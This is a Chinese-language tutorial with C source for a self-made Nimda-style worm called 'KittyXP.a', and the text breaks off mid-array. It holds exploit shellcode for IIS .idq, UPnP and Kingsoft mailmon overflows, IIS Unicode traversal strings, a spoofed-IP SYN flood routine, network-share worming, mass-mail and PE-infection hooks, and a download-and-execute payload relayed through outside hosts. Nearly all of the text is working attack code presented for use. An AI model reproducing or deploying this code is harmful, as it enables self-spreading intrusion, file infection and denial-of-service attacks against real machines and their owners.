本文并不是使用nimda的源代码来讲座的,本文的作者是根据对nimda的行为分析加上作者本人的功底自悟写出来的
本文提供的程序代码均在VC5.0/6.0+win9x/me/2000+sp1/xp/nt4.0+sp4下测试通过
1.1.1
Unicode漏洞
最近网上关于它的东西有不少,所以我就不费口舌了。
直接从网上便可得到许多的资料
1.1.2
WinME/XP UPNP 漏洞
很多黑客网站上都有它的资料,我就不在这里说了。有漏洞机器大约有30000来台,本次新增
1.1.3
金山毒霸2001的邮件监控(mailmon.exe)存在缓冲溢出漏洞
tombkeeper说的非常清楚,我就不多说了。这样的机器就更多了。本次新增
1.1.4
IIS5.0 .idq 漏洞
前些日子的Redcode就用的这个。本次新增
1.1.5
IIS4.0的缓冲漏洞
古老的漏洞了,不过仍有有这个漏洞的机器。本次新增
1.2 TFTP
这个东西用TFTPd.exe就行了,不过我这里使用TFTP.DLL作服务器。原因是我不想让人发现它的进程。这一次还利用了FTP服务器www.wormworld.com作中转。本次改进
1.4 Riched20.dll
其实就是把%system%//Riched20.dll的结构导出来,修改Dllmain的代码,把病毒体从它的体内分离出来。
这东西写起来即麻烦又废时间,索性使用另外的方法代替了
riched20()函数的内容
HANDLE hFile=CreateFile("riched20.DLL",GENERIC_ALL,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile==INVALID_HANDLE_VALUE)
{
//printf("\nCreate file %s failed:%d",RemoteFilePath,GetLastError());
return -1
}
//写文件内容
DWORD i=0,dwIndex=0,dwWrite,dwSize=sizeof(tftpdllbuff)
while(dwSize>dwIndex)
{
if(!WriteFile(hFile,&richedpdllbuff[dwIndex],dwSize-dwIndex,&dwWrite,NULL))
{
//printf("\nWrite file %s failed:%d","riched20.DLL",GetLastError());
return -1
}
dwIndex+=dwWrite;
}
//关闭文件句柄
CloseHandle(hFile);
1.5 Base64
看到代码就懂了
1.6 pe病毒部分
这是新功能。本次新增
1.7 SYNflood
分布式洪水报文攻击。本次新增。
1.8 主程序代码
--------------------------------------------------------------------------------------
file://Don';t forget to link with wsock32.lib :-o
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define SEQ 0x28376839
#define SYN_DEST_IP "" //目的IP
#define FAKE_IP "" //伪装IP超始值,本程序的伪装IP覆盖一个B类网段
#define STATUS_FAILED 0xFFFF //错误返回值
typedef struct _iphdr{ //定义IP首部
unsigned char h_verlen; //4位首部长度,4位IP版本号
unsigned char tos; //
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_flags;
unsigned short ttl;
unsigned char proto;
unsigned short checksum;
unsigned int sourceIP;
unsigned int destIP;
}IP_HEADER;
struct{ //定义TCP伪首部
unsigned long saddr;
unsigned long daddr;
char mbz;
char ptcl;
unsigned short tcpl;
}psd_header;
typedef struct _tcphdr{ //定义TCP首部
USHORT th_sport;
USHORT th_dpost;
unsigned int ht_seq;
unsigned int ht_ack;
unsigned char th_lenres;
unsigned char th_flag;
USHORT th_win;
USHORT th_sum;
USHORT th_urp;
}TCP_HEADER;
USHORT checksum(USHORT *buffer,int size){ //计算验和的子函数
unsigned long chsum=0;
while(size>1){
chsum+=*buffer++;
size-=sizeof(USHORT);
}
if(size){
chsum+=*(UCHAR*)buffer;
}
chsum=(chsum>>16)+(chsum & 0xffff);
chsum+=(chsum>>16);
return (USHORT)(~chsum);
}
int WINAPI flood()
{
int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost;
int TimeOut=2000,SendSEQ=0;
char SendBuf[128]={0};
char RecvBuf[65535]={0};
WSADATA wsaData;
SOCKET SockRaw=(SOCKET)NULL;
struct sockaddr_in DestAddr;
IP_HEADER ip_header;
TCP_HEADER tcp_header;
//初始化SOCK_RAW
if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){
//fprintf(stderr,"WSAStartup failed:%d\n",ErrorCode);
return 0
}
//建立套接字
SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
if(SockRaw==INVALID_SOCKET){
//fprintf(stderr,"WSASocket() failed:%d\n",WSAGetLastError());
return 0
}
flag=TRUE;
//设置IP_HDRINCL以自己填充IP首部
ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
if(ErrorCode==SOCKET_ERROR)//printf("Set IP_HDRINCL Error!\n");
__try{
ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char *)&TimeOut,sizeof(TimeOut));
if(ErrorCode==SOCKET_ERROR){
//fprintf(stderr,"Failed to set send TimeOut:%d\n",WSAGetLastError());
return 0
}
memset(&DestAddr,0,sizeof(DestAddr));
DestAddr.sin_family=AF_INET;
DestAddr.sin_addr.s_addr=inet_addr(SYN_DEST_IP);
FakeIpNet=inet_addr(FAKE_IP);
FakeIpHost=ntohl(FakeIpNet);
//填充IP首部
ip_header.h_verlen =(4<<4 | sizeof(ip_header)/sizeof(unsigned long)); //高四位IP版本号
ip_header.total_len =htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); //16位总长度
ip_header.ident =1;
ip_header.frag_and_flags =0;
ip_header.ttl =128;
ip_header.proto =IPPROTO_TCP;
ip_header.checksum =0;
ip_header.sourceIP =htonl(FakeIpHost+SendSEQ);
ip_header.destIP =inet_addr(SYN_DEST_IP);
//填充TCP首部
tcp_header.th_sport =htons(7000);
tcp_header.th_dpost =htons(8080);
tcp_header.ht_seq=htonl(SEQ+SendSEQ);
tcp_header.ht_ack=0;
tcp_header.th_lenres =(sizeof(TCP_HEADER)/4<<4|0);
tcp_header.th_flag =2;
tcp_header.th_win =htons(16384);
tcp_header.th_urp =0;
tcp_header.th_sum =0;
//填充TCP伪首部
psd_header.saddr=ip_header.sourceIP ;
psd_header.daddr=ip_header.destIP ;
psd_header.mbz=0;
psd_header.ptcl=IPPROTO_TCP;
psd_header.tcpl=htons(sizeof(tcp_header));
while(1){
//每发送1024个报文输出一个标示符
//printf(".");
for(counter=0;counter<1024;counter++){
if(SendSEQ++==65536)SendSEQ=1; //序列循环
//改IP首部
ip_header.checksum =0;
ip_header.sourceIP =htonl(FakeIpHost+SendSEQ); //32位源IP
//改TCP首部
tcp_header.ht_seq =htonl(SEQ+SendSEQ); //SYN序列号
tcp_header.th_sum =0;
//改TCP Pseudo Header
psd_header.saddr=ip_header.sourceIP ;
//计算TCP校验和,计算校验和时需要包括TCP pssudo header
memcpy(SendBuf,&psd_header,sizeof(psd_header));
memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
tcp_header.th_sum=checksum((USHORT*)SendBuf,sizeof(psd_header)+sizeof(tcp_header));
//计算IP校验和
memcpy(SendBuf,&ip_header,sizeof(ip_header));
memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));
memcpy(SendBuf+sizeof(ip_header),sizeof(tcp_header),0,4);
datasize=sizeof(ip_header)+sizeof(tcp_header);
//填充发送缓冲区
memcpy(SendBuf,&ip_header,sizeof(ip_header));
//发送
ErrorCode=sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*)&DestAddr,sizeof(DestAddr));
if(ErrorCode==SOCKET_ERROR)//printf("\Send Error:%d\n",GetLastError());
}//end for
}//end while
}//end try
__finally{
if(SockRaw!=INVALID_SOCKET)closesocket(SockRaw);
WSACleanup();
}
return 0;
}//end flood
HMODULE hKERNEL32 ;
FARPROC a_RegisterServiceProcess ;
HMODULE hMPR ;
FARPROC a_WNetOpenEnum ;
FARPROC a_WNetCloseEnum ;
FARPROC a_WNetEnumResource ;
HMODULE hADVAPI ;
FARPROC a_RegOpenKeyExA ;
FARPROC a_RegQueryValueExA ;
FARPROC a_RegCloseKey ;
HINSTANCE hWINSOCK ;
FARPROC a_WSAStartup ;
FARPROC a_inet_addr ;
FARPROC a_gethostbyaddr ;
FARPROC a_gethostbyname ;
FARPROC a_htons ;
FARPROC a_socket ;
FARPROC a_connect ;
FARPROC a_send ;
FARPROC a_recv ;
FARPROC a_closesocket ;
FARPROC a_WSACleanup ;
SOCKET conn_socket ;
char szSMTPname[ 256] ;
char szSMTPaddr[ 256] ;
char szMAIL_FROM[ 256] ;
char szRCPT_TO[ 256] ;
int Found ;
BOOL InetActivated ;
BOOL MailDone ;
long WINAPI L0calThread ( long) ;
long WINAPI Rem0teThread ( long) ;
long WINAPI MailThread ( long) ;
void NetW0rming ( LPNETRESOURCE) ;
void Rem0teInfecti0n ( char *) ;
BOOL str2socket ( char *, BOOL) ;
BOOL GetSMTP ( char *, char *) ;
void base64_encode ( const void *, int) ;
char *DecryptStr ( char *) ;
void FindPe0ple ( char *) ;
void WaitC0nnected ( void) ;
BOOL CALLBACK EnumWindowsProc ( HWND, LPARAM) ;
//金山毒霸漏洞代码
unsigned char eip[8] = JUMPESP;
unsigned char sploitx[] = {
0x90, 0x8b, 0xfc,
0x33, 0xc0, 0x50, 0xf7, 0xd0, 0x50, 0x59, 0xf2, 0xaf, 0x59, 0xb1, 0xc6,
0x8b, 0xc7, 0x48, 0x80, 0x30, 0x99, 0xe2, 0xfa, 0x33, 0xf6, 0x96, 0xbb,
0x99, 0xac, 0xb0, 0x42, 0xc1, 0xeb, 0x08, 0x56, 0xff, 0x13, 0x8b, 0xd0,
0xfc, 0x33, 0xc9, 0xb1, 0x0b, 0x49, 0x32, 0xc0, 0xac, 0x84, 0xc0, 0x75,
0xf9, 0x52, 0x51, 0x56, 0x52, 0xb3, 0xe0, 0xff, 0x13, 0xab, 0x59, 0x5a,
0xe2, 0xec, 0x32, 0xc0, 0xac, 0x84, 0xc0, 0x75, 0xf9, 0xb3, 0xac, 0x56,
0xff, 0x13, 0x8b, 0xd0, 0xfc, 0x33, 0xc9, 0xb1, 0x06, 0x32, 0xc0, 0xac,
0x84, 0xc0, 0x75, 0xf9, 0x52, 0x51, 0x56, 0x52, 0xb3, 0xe0, 0xff, 0x13,
0xab, 0x59, 0x5a, 0xe2, 0xec, 0x83, 0xc6, 0x05, 0x33, 0xc0, 0x50, 0x40,
0x50, 0x40, 0x50, 0xff, 0x57, 0xe8, 0x93, 0x6a, 0x10, 0x56, 0x53, 0xff,
0x57, 0xec, 0x6a, 0x02, 0x53, 0xff, 0x57, 0xf0, 0x33, 0xc0, 0x57, 0x50,
0xb0, 0x0c, 0xab, 0x58, 0xab, 0x40, 0xab, 0x5f, 0x48, 0x50, 0x57, 0x56,
0xad, 0x56, 0xff, 0x57, 0xc0, 0x48, 0x50, 0x57, 0xad, 0x56, 0xad, 0x56,
0xff, 0x57, 0xc0, 0x48, 0xb0, 0x44, 0x89, 0x07, 0x57, 0xff, 0x57, 0xc4,
0x33, 0xc0, 0x8b, 0x46, 0xf4, 0x89, 0x47, 0x3c, 0x89, 0x47, 0x40, 0x8b,
0x06, 0x89, 0x47, 0x38, 0x33, 0xc0, 0x66, 0xb8, 0x01, 0x01, 0x89, 0x47,
0x2c, 0x57, 0x57, 0x33, 0xc0, 0x50, 0x50, 0x50, 0x40, 0x50, 0x48, 0x50,
0x50, 0xad, 0x56, 0x33, 0xc0, 0x50, 0xff, 0x57, 0xc8, 0xff, 0x76, 0xf0,
0xff, 0x57, 0xcc, 0xff, 0x76, 0xfc, 0xff, 0x57, 0xcc, 0x48, 0x50, 0x50,
0x53, 0xff, 0x57, 0xf4, 0x8b, 0xd8, 0x33, 0xc0, 0xb4, 0x04, 0x50, 0xc1,
0xe8, 0x04, 0x50, 0xff, 0x57, 0xd4, 0x8b, 0xf0, 0x33, 0xc0, 0x8b, 0xc8,
0xb5, 0x04, 0x50, 0x50, 0x57, 0x51, 0x56, 0xff, 0x77, 0xa8, 0xff, 0x57,
0xd0, 0x83, 0x3f, 0x01, 0x7c, 0x22, 0x33, 0xc0, 0x50, 0x57, 0xff, 0x37,
0x56, 0xff, 0x77, 0xa8, 0xff, 0x57, 0xdc, 0x0b, 0xc0, 0x74, 0x2f, 0x33,
0xc0, 0x50, 0xff, 0x37, 0x56, 0x53, 0xff, 0x57, 0xf8, 0x6a, 0x50, 0xff,
0x57, 0xe0, 0xeb, 0xc8, 0x33, 0xc0, 0x50, 0xb4, 0x04, 0x50, 0x56, 0x53,
0xff, 0x57, 0xfc, 0x57, 0x33, 0xc9, 0x51, 0x50, 0x56, 0xff, 0x77, 0xac,
0xff, 0x57, 0xd8, 0x6a, 0x50, 0xff, 0x57, 0xe0, 0xeb, 0xaa, 0x50, 0xff,
0x57, 0xe4, 0x90, 0xd2, 0xdc, 0xcb, 0xd7, 0xdc, 0xd5, 0xaa, 0xab, 0x99,
0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde,
0xfc, 0xed, 0xca, 0xed, 0xf8, 0xeb, 0xed, 0xec, 0xe9, 0xd0, 0xf7, 0xff,
0xf6, 0xd8, 0x99, 0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xeb, 0xf6,
0xfa, 0xfc, 0xea, 0xea, 0xd8, 0x99, 0xda, 0xf5, 0xf6, 0xea, 0xfc, 0xd1,
0xf8, 0xf7, 0xfd, 0xf5, 0xfc, 0x99, 0xc9, 0xfc, 0xfc, 0xf2, 0xd7, 0xf8,
0xf4, 0xfc, 0xfd, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde, 0xf5, 0xf6, 0xfb,
0xf8, 0xf5, 0xd8, 0xf5, 0xf5, 0xf6, 0xfa, 0x99, 0xce, 0xeb, 0xf0, 0xed,
0xfc, 0xdf, 0xf0, 0xf5, 0xfc, 0x99, 0xcb, 0xfc, 0xf8, 0xfd, 0xdf, 0xf0,
0xf5, 0xfc, 0x99, 0xca, 0xf5, 0xfc, 0xfc, 0xe9, 0x99, 0xdc, 0xe1, 0xf0,
0xed, 0xc9, 0xeb, 0xf6, 0xfa, 0xfc, 0xea, 0xea, 0x99, 0xce, 0xca, 0xd6,
0xda, 0xd2, 0xaa, 0xab, 0x99, 0xea, 0xf6, 0xfa, 0xf2, 0xfc, 0xed, 0x99,
0xfb, 0xf0, 0xf7, 0xfd, 0x99, 0xf5, 0xf0, 0xea, 0xed, 0xfc, 0xf7, 0x99,
0xf8, 0xfa, 0xfa, 0xfc, 0xe9, 0xed, 0x99, 0xea, 0xfc, 0xf7, 0xfd, 0x99,
0xeb, 0xfc, 0xfa, 0xef, 0x99, 0x9b, 0x99,
0x99, 0x0d, //port=148
0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
0xfa, 0xf4, 0xfd, 0xb7, 0xfc, 0xe1, 0xfc, 0x99, 0xff, 0xff, 0xff, 0xff,
0x0d, 0x0a};
//这段溢出代码是一段通用的溢出代码,只要改其中几个地方就可以用于任何一个程序的溢出,是ipxodi写的
//0xbb,0x99, 0xac, 0xb0, 0x42对应的汇编代码 mov ebx,42b0ach,是mailmon.exe中函数LoadLibraryA的入口地址
//可以用win32Dasm打开mailmon.exe查找LoadLibraryA,会看见:0040f7c2 ff15acb04200 Call dword ptr [0042b0ac]
//的字样,如果用于别的程序溢出,也可以这样查找并更改
//0xb3, 0xe0对应的汇编代码喂mov bl,e0h
//可以用win32Dasm打开mailmon.exe查找GetProcAddress,会看见:0041e2bf ff15acb04200 Call dword ptr [0042b0e0]
//的字样,它的地址和LoadLibraryA只最后一个字节不一样,所以mov bl,e0h
//0xb3, 0xac对应的汇编代码为mov bl,ac
//道理和上面一样
//WinME/XP UPNP 漏洞的shellcode声明
#define JUMPESP "\x47\x8f\xaa\x77"
#define MAX 10000
#define PORTx 5000
#define FREEZE 512
#define NOP 0x43 //inc ebx, instead of 0x90
file://定义常量
int num=0;
int ExeDirNum=0;
HANDLE hSemaphore=NULL;
char *mybytes;
unsigned long sizemybytes;
MaxThread=100;//最大开100个线程扫描
file://下面定义漏洞数组
char *vers="KittyXP.a"//版本号
char *writer="Squirrel in Dalian"//作者?
char *hole[]={"%c0%2f..%c0%2f..%c0%2f",
"%c0%af..%c0%af..%c0%af",
"%c1%1c..%c1%1c..%c1%1c",
"%c1%9c..%c1%9c..%c1%9c",
"%c0%2f..%c0%2f..%c0%2f",
"%c0%af",
"%c1%9c",
"%c1%pc",
"%c0%9v",
"%c0%qf",
"%c1%8s",
"%c1%1c",
"%c1%9c",
"%c1%af",
"%e0%80%af",
"%f0%80%80%af",
"%f8%80%80%80%af",
"%fc%80%80%80%80%af",
"%e0%80%af../..%e0%80%af../..%e0%80%af",
"%e0%80%af..%e0%80%af..%e0%80%af",
"%c1%1c../..%c1%1c../..%c1%1c",
"%e0%80%af../..%e0%80%af../..%e0%80%af",
"%e0%80%af..%e0%80%af..%e0%80%af","%c1%1c../..%c1%1c../..%c1%1c",
"%e0%80%af../..%e0%80%af../..%e0%80%af../..%e0%80%af../..%e0%80%af../..%e0%80%af",
"%e0%80%af..%e0%80%af..%e0%80%af..%e0%80%af..%e0%80%af..%e0%80%af",
"%c1%1c../..%c1%1c../..%c1%1c../..%c1%1c../..%c1%1c../..%c1%1c"};
file://下面7个漏洞出现的目录,可以自己定义更多,但务必修改后改下面的for循环数字
char *ExeDirs[7]={"scripts","msadc","cgi-bin","_vti_bin","_vti_bin/msadc","scripts/msadc","IISADMPWD"};
unsigned char tftpdllbuff[]="";//这里存放的是Tftp.dll的二进制码
//unsigned char riched20dllbuff[]="";//这里存放的是riched20.dll的二进制码
file://声明函数
long GetLocalIP(void);//获得本机IP
DWORD WINAPI FindExeDir(LPVOID lp);//找到可执行目录
char *GetData(int SockFD);//获取SEND返回的数据
char * find(const char*pszSource,const char * pszKey);//在返回数据中查找指定字符串
DWORD WINAPI TFTP32();
//DWORD WINAPI Riched20()
int WINAPI redcode(char *argv[])
int WINAPI iis4(char *argv[])
int WINAPI xpmethd(char *argv[])
int WINAPI anitthd(char *argv[])
void WINAPI pevirus(char *argv[])
void WINAPI worm()
char *localpath;//system32的路径
char *exedir;//脚本路径
char* WebPath;//首页所存放的路径
//下面是关于IIS5.0 .idq 漏洞的声明
#define RET 0x77e516de /* jmp or call ebx */
#define GMHANDLEA 0x77e56c42 /* Address of GetModuleHandleA */
#define GPADDRESS 0x77e59ac1 /* Address of GetProcAddress */
#define GMHANDLEA_OFFSET 24
#define GPADDRESS_OFFSET 61
#define OFFSET 234 /* exception handler offset */
#define NOP 0x41
#define MASKING 1
#if MASKING
#define PORTMASK 0x4141
#define ADDRMASK 0x41414141
#define PORTMASK_OFFSET 128
#define ADDRMASK_OFFSET 133
#endif
#define PORT 80
#define ADDR "www.squirrel2002.com.cn"//作者的主页?
#define PORT_OFFSET 115
#define ADDR_OFFSET 120
unsigned char shellcode[]=
"\x5B\x33\xC0\x40\x40\xC1\xE0\x09\x2B\xE0\x33\xC9\x41\x41\x33\xC0"
"\x51\x53\x83\xC3\x06\x88\x03\xB8\xDD\xCC\xBB\xAA\xFF\xD0\x59\x50"
"\x43\xE2\xEB\x33\xED\x8B\xF3\x5F\x33\xC0\x80\x3B\x2E\x75\x1E\x88"
"\x03\x83\xFD\x04\x75\x04\x8B\x7C\x24\x10\x56\x57\xB8\xDD\xCC\xBB"
"\xAA\xFF\xD0\x50\x8D\x73\x01\x45\x83\xFD\x08\x74\x03\x43\xEB\xD8"
"\x8D\x74\x24\x20\x33\xC0\x50\x40\x50\x40\x50\x8B\x46\xFC\xFF\xD0"
"\x8B\xF8\x33\xC0\x40\x40\x66\x89\x06\xC1\xE0\x03\x50\x56\x57\x66"
"\xC7\x46\x02\xBB\xAA\xC7\x46\x04\x44\x33\x22\x11"
#if MASKING
"\x66\x81\x76\x02\x41\x41\x81\x76\x04\x41\x41\x41\x41"
#endif
"\x8B\x46\xF8\xFF\xD0\x33\xC0"
"\xC7\x06\x5C\x61\x61\x2E\xC7\x46\x04\x65\x78\x65\x41\x88\x46\x07"
"\x66\xB8\x80\x01\x50\x66\xB8\x01\x81\x50\x56\x8B\x46\xEC\xFF\xD0"
"\x8B\xD8\x33\xC0\x50\x40\xC1\xE0\x09\x50\x8D\x4E\x08\x51\x57\x8B"
"\x46\xF4\xFF\xD0\x85\xC0\x7E\x0E\x50\x8D\x4E\x08\x51\x53\x8B\x46"
"\xE8\xFF\xD0\x90\xEB\xDC\x53\x8B\x46\xE4\xFF\xD0\x57\x8B\x46\xF0"
"\xFF\xD0\x33\xC0\x50\x56\x56\x8B\x46\xE0\xFF\xD0\x33\xC0\xFF\xD0";
unsigned char storage[]=
"\xEB\x02"
"\xEB\x4E"
"\xE8\xF9\xFF\xFF\xFF"
"msvcrt.ws2_32.socket.connect.recv.closesocket."
"_open._write._close._execl.";
unsigned char forwardjump[]=
"%u08eb";
unsigned char jump_to_shell[]=
"%uC033%uB866%u031F%u0340%u8BD8%u8B03"
"%u6840%uDB33%u30B3%uC303%uE0FF";
unsigned int resolve(char *name)
{
struct hostent *he;
unsigned int ip;
if((ip=inet_addr(name))==(-1))
{
if((he=gethostbyname(name))==0)
return 0;
memcpy(&ip,he->h_addr,4);
}
return ip;
}
int make_connection(char *address,int port)
{
struct sockaddr_in server,target;
int s,i,bf;
fd_set wd;
struct timeval tv;
s = socket(AF_INET,SOCK_STREAM,0);
if(s<0)
return -1;
memset((char *)&server,0,sizeof(server));
server.sin_family = AF_INET;
server.sin_addr.s_addr = htonl(INADDR_ANY);
server.sin_port = 0;
target.sin_family = AF_INET;
target.sin_addr.s_addr = resolve(address);
if(target.sin_addr.s_addr==0)
{
close(s);
return -2;
}
target.sin_port = htons(port);
bf = 1;
ioctl(s,FIONBIO,&bf);
tv.tv_sec = 10;
tv.tv_usec = 0;
FD_ZERO(&wd);
FD_SET(s,&wd);
connect(s,(struct sockaddr *)&target,sizeof(target));
if((i=select(s+1,0,&wd,0,&tv))==(-1))
{
close(s);
return -3;
}
if(i==0)
{
close(s);
return -4;
}
i = sizeof(int);
getsockopt(s,SOL_SOCKET,SO_ERROR,&bf,&i);
if((bf!=0)||(i!=sizeof(int)))
{
close(s);
errno = bf;
return -5;
}
ioctl(s,FIONBIO,&bf);
return s;
}
int get_connection(int port)
{
struct sockaddr_in local,remote;
int lsock,csock,len,reuse_addr;
lsock = socket(AF_INET,SOCK_STREAM,0);
if(lsock<0)
{
// perror("socket");
return -1
}
reuse_addr = 1;
if(setsockopt(lsock,SOL_SOCKET,SO_REUSEADDR,(char *)&reuse_addr,sizeof(reuse_addr))<0)
{
//perror("setsockopt");
close(lsock);
return -1
}
memset((char *)&local,0,sizeof(local));
local.sin_family = AF_INET;
local.sin_port = htons(port);
local.sin_addr.s_addr = htonl(INADDR_ANY);
if(bind(lsock,(struct sockaddr *)&local,sizeof(local))<0)
{
//perror("bind");
close(lsock);
return -1
}
if(listen(lsock,1)<0)
{
// perror("listen");
close(lsock);
return -1
}
retry:
len = sizeof(remote);
csock = accept(lsock,(struct sockaddr *)&remote,&len);
if(csock<0)
{
if(errno!=EINTR)
{
//perror("accept");
close(lsock);
return -1
}
else
goto retry;
}
close(lsock);
return csock;
}
unsigned long __stdcall doweb(void *inr) {
char buf[1024];
SOCKET in = *((SOCKET *)inr);
recv(in,buf,1024,0);
send(in,mybytes,sizemybytes,0);
closesocket(in);
return 0;
}
//下面是redcode的shellcode
// this is the sploit code written by Dark Spyrit, it downloads a file and runs it
char sploit[] = { 0x47,
0x45, 0x54, 0x20, 0x2F, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0xB0, 0x87, 0x67, 0x68, 0xB0, 0x87, 0x67,
0x68, 0x90, 0x90, 0x90, 0x90, 0x58, 0x58, 0x90, 0x33, 0xC0, 0x50, 0x5B, 0x53, 0x59, 0x8B,
0xDE, 0x66, 0xB8, 0x21, 0x02, 0x03, 0xD8, 0x32, 0xC0, 0xD7, 0x2C, 0x21, 0x88, 0x03, 0x4B,
